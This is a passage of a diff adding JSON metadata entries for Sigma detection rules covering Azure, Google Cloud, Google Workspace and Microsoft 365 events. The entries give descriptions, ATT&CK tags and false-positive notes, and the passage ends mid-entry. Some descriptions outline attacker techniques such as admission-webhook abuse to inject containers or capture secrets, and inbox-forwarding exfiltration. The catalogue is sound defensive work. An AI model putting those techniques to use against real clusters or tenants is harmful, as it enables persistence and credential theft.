environment.", + "Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a VPN connection is modified or deleted.", + "uuid": "61171ffc-d79c-4ae5-8e10-9323dba19cd3", + "value": "Azure VPN Connection Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_vpn_connection_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_vpn_connection_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when storage bucket is enumerated in Google Cloud.", + "uuid": "e2feb918-4e77-4608-9697-990a1aaf74c3", + "value": "Google Cloud Storage Buckets Enumeration", + "meta": { + "refs": [ + "https://cloud.google.com/storage/docs/json_api/v1/buckets", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_enumeration.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2021/08/14", + "filename": "gcp_bucket_enumeration.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detects when storage bucket is modified or deleted in Google Cloud.", + "uuid": "4d9f2ee2-c903-48ab-b9c1-8c0f474913d0", + "value": "Google Cloud Storage Buckets Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/storage/docs/json_api/v1/buckets", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/14", + "filename": "gcp_bucket_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when sensitive information is re-identified in google Cloud.", + "uuid": "234f9f48-904b-4736-a34c-55d23919e4b7", + "value": "Google Cloud Re-identifies Sensitive Information", + "meta": { + "refs": [ + "https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dlp_re_identifies_sensitive_information.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565" + ], + "creation_date": "2021/08/15", + "filename": "gcp_dlp_re_identifies_sensitive_information.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a DNS Zone is modified or deleted in Google Cloud.", + "uuid": "28268a8f-191f-4c17-85b2-f5aa4fa829c3", + "value": "Google Cloud DNS Zone Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/dns/docs/reference/v1/managedZones", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dns_zone_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/15", + "filename": "gcp_dns_zone_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).", + "uuid": "fe513c69-734c-4d4a-8548-ac5f609be82b", + "value": "Google Cloud Firewall Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_firewall_rule_modified_or_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2021/08/13", + "filename": "gcp_firewall_rule_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.", + "Exceptions can be added to this rule to filter expected behavior." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.", + "uuid": "980a7598-1e7f-4962-9372-2d754c930d0e", + "value": "Google Full Network Traffic Packet Capture", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_full_network_traffic_packet_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074" + ], + "creation_date": "2021/08/13", + "filename": "gcp_full_network_traffic_packet_capture.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Full Network Packet Capture may be done by a system or network administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when an admission controller is executed in GCP Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", + "uuid": "6ad91e31-53df-4826-bd27-0166171c8040", + "value": "Google Cloud Kubernetes Admission Controller", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_admission_controller.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1078", + "attack.credential_access", + "attack.t1552", + "attack.t1552.007" + ], + "creation_date": "2021/11/25", + "filename": "gcp_kubernetes_admission_controller.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Google Cloud Kubernetes Admission Controller may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", + "uuid": "cd3a808c-c7b7-4c50-a2f3-f4cfcd436435", + "value": "Google Cloud Kubernetes CronJob", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_cronjob.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.execution" + ], + "creation_date": "2021/11/22", + "filename": "gcp_kubernetes_cronjob.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Google Cloud Kubernetes CronJob/Job may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.", + "uuid": "0322d9f2-289a-47c2-b5e1-b63c90901a3e", + "value": "Google Cloud Kubernetes RoleBinding", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/pull/1267", + "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole", + "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", + "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_rolebinding.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2021/08/09", + "filename": "gcp_kubernetes_rolebinding.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when the Secrets are Modified or Deleted.", + "uuid": "2f0bae2d-bf20-4465-be86-1311addebaa3", + "value": "Google Cloud Kubernetes Secrets Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_secrets_modified_or_deleted.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2021/08/09", + "filename": "gcp_kubernetes_secrets_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a service account is disabled or deleted in Google Cloud.", + "uuid": "13f81a90-a69c-4fab-8f07-b5bb55416a9f", + "value": "Google Cloud Service Account Disabled or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_disabled_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1531" + ], + "creation_date": "2021/08/14", + "filename": "gcp_service_account_disabled_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a service account is modified in Google Cloud.", + "uuid": "6b67c12e-5e40-47c6-b3b0-1e6b571184cc", + "value": "Google Cloud Service Account Modified", + "meta": { + "refs": [ + "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_modified.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/14", + "filename": "gcp_service_account_modified.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detect when a Cloud SQL DB has been modified or deleted.", + "uuid": "f346bbd5-2c4e-4789-a221-72de7685090d", + "value": "Google Cloud SQL Database Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_sql_database_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/10/15", + "filename": "gcp_sql_database_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "SQL Database being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.", + "uuid": "99980a85-3a61-43d3-ac0f-b68d6b4797b1", + "value": "Google Cloud VPN Tunnel Modified or Deleted", + "meta": { + "refs": [ + "https://any-api.com/googleapis_com/compute/docs/vpnTunnels", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_vpn_tunnel_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/16", + "filename": "gcp_vpn_tunnel_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "VPN Tunnel being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "VPN Tunnel modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detects when an an application is removed from Google Workspace.", + "uuid": "ee2803f0-71c8-4831-b48b-a1fc57601ee4", + "value": "Google Workspace Application Removed", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_application_removed.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/26", + "filename": "gworkspace_application_removed.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Application being removed may be performed by a System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when an API access service account is granted domain authority.", + "uuid": "04e2a23a-9b29-4a5c-be3a-3542e3f982ba", + "value": "Google Workspace Granted Domain API Access", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_granted_domain_api_access.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2021/08/23", + "filename": "gworkspace_granted_domain_api_access.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when multi-factor authentication (MFA) is disabled.", + "uuid": "780601d1-6376-4f2a-884e-b8d45599f78c", + "value": "Google Workspace MFA Disabled", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_mfa_disabled.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/26", + "filename": "gworkspace_mfa_disabled.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "MFA may be disabled and performed by a system administrator." + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when an a role is modified or deleted in Google Workspace.", + "uuid": "6aef64e3-60c6-4782-8db3-8448759c714e", + "value": "Google Workspace Role Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/24", + "filename": "gworkspace_role_modified_or_deleted.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when an a role privilege is deleted in Google Workspace.", + "uuid": "bf638ef7-4d2d-44bb-a1dc-a238252e6267", + "value": "Google Workspace Role Privilege Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_privilege_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/24", + "filename": "gworkspace_role_privilege_deleted.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when an Google Workspace user is granted admin privileges.", + "uuid": "2d1b83e4-17c6-4896-a37b-29140b40a788", + "value": "Google Workspace User Granted Admin Privileges", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_user_granted_admin_privileges.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2021/08/23", + "filename": "gworkspace_user_granted_admin_privileges.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Google Workspace admin role privileges, may be modified by system administrators." + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce.\nThis is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.\n", + "uuid": "2e669ed8-742e-4fe5-b3c4-5a59b486c2ee", + "value": "Activity Performed by Terminated User", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_by_terminated_user.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_activity_by_terminated_user.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.", + "uuid": "d8b0a4fe-07a8-41be-bd39-b14afa025d95", + "value": "Activity from Anonymous IP Addresses", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_anonymous_ip_addresses.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_activity_from_anonymous_ip_addresses.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "User using a VPN or Proxy" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.", + "uuid": "0f2468a2-5055-4212-a368-7321198ee706", + "value": "Activity from Infrequent Country", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_infrequent_country.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_activity_from_infrequent_country.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.", + "uuid": "2b669496-d215-47d8-bd9a-f4a45bf07cda", + "value": "Data Exfiltration to Unsanctioned Apps", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_data_exfiltration_to_unsanctioned_app.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1537" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_data_exfiltration_to_unsanctioned_app.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence.\nThese IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.\n", + "uuid": "a3501e8e-af9e-43c6-8cd6-9360bdaae498", + "value": "Activity from Suspicious IP Addresses", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_from_susp_ip_addresses.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_from_susp_ip_addresses.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.", + "uuid": "d7eab125-5f94-43df-8710-795b80fa1189", + "value": "Microsoft 365 - Impossible Travel Activity", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_impossible_travel_activity.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2020/07/06", + "filename": "microsoft365_impossible_travel_activity.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.", + "uuid": "c191e2fa-f9d6-4ccf-82af-4f2aba08359f", + "value": "Logon from a Risky IP Address", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_logon_from_risky_ip_address.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_logon_from_risky_ip_address.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Alert for the addition of a new federated domain.", + "uuid": "42127bdd-9133-474f-a6f1-97b6c08a4339", + "value": "New Federated Domain Added", + "meta": { + "refs": [ + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", + "https://www.sygnia.co/golden-saml-advisory", + "https://o365blog.com/post/aadbackdoor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_new_federated_domain_added.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.003" + ], + "creation_date": "2022/02/08", + "filename": "microsoft365_new_federated_domain_added.yml", + "author": "@ionsor", + "level": "medium", + "falsepositive": [ + "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider." + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.", + "uuid": "bd132164-884a-48f1-aa2d-c6d646b04c69", + "value": "Microsoft 365 - Potential Ransomware Activity", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_potential_ransomware_activity.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2021/08/19", + "filename": "microsoft365_potential_ransomware_activity.yml", + "author": "austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content", + "uuid": "18b88d08-d73e-4f21-bc25-4b9892a4fdd0", + "value": "PST Export Alert", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1114/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_pst_export_alert.yml" + ], + "tags": [ + "attack.collection", + "attack.t1114" + ], + "creation_date": "2022/02/08", + "filename": "microsoft365_pst_export_alert.yml", + "author": "Sorina Ionescu", + "level": "medium", + "falsepositive": [ + "PST export can be done for legitimate purposes but due to the sensitive nature of its content it must be monitored." + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.", + "uuid": "6c220477-0b5b-4b25-bb90-66183b4089e8", + "value": "Suspicious Inbox Forwarding", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_inbox_forwarding.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2021/08/22", + "filename": "microsoft365_susp_inbox_forwarding.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.", + "uuid": "ee111937-1fe7-40f0-962a-0eb44d57d174", + "value": "Suspicious OAuth App File Download Activities", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_oauth_app_file_download_activities.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_susp_oauth_app_file_download_activities.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.", + "uuid": "78a34b67-3c39-4886-8fb4-61c46dc18ecd", + "value": "Microsoft 365 - Unusual Volume of File Deletion", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_unusual_volume_of_file_deletion.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/08/19", + "filename": "microsoft365_unusual_volume_of_file_deletion.yml", + "author": "austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.", + "uuid": 